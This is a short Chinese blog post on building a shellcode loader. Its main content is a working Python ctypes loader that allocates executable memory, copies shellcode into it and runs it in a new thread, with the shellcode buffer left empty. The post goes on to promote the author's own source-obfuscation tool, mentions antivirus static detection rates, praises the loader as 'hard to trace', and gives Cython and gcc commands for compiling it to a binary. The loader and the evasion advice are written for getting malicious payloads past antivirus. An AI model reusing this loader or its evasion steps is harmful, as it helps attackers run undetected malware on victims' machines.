我的shellcode loader观-1


包含内容:

  • 1.传统的shellcode loader

  • 2.Python中的加密loader

  • 3.Python相对于shelcode load 的优势

  • 4.cython帮助我们将.py转.c

  • 5.Python中源码混淆工具分享

1 . shellcode loader

这是一个源码:

import ctypes

shellcode = bytearray(b'')

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
                                          
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
                                     
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

这是静态查杀率

2 . 加密 loader

我(liusuxyds)为此开发了一款转用于混淆python源码的工具AuSuxydsPC(Free)
link:https://gitee.com/suxyds/au-suxyds-pc
我的shellcode loader观-1

混淆后效果:
我的shellcode loader观-1

3 . Python相对于shelcode load 的优势

1.不易溯源,python属于高级语言,并且使用AuSuxydsPC后更难
2.方便,便于快速实现想法
3.生态好,有很多api等等
4.能转.c

4. cython帮助我们将.py转.c

首先pip3 install cython或加上’-i https://pypi.tuna.tsinghua.edu.cn/simple
使用:
cython 文件.py --embed
gcc `python-config --cflags` `python-config --ldflags` 文件.c -o 文件

原创文章,作者:6024010,如若转载,请注明出处:https://blog.ytso.com/267682.html

(0)
上一篇 2022年6月18日
下一篇 2022年6月18日

相关推荐

发表回复

登录后才能评论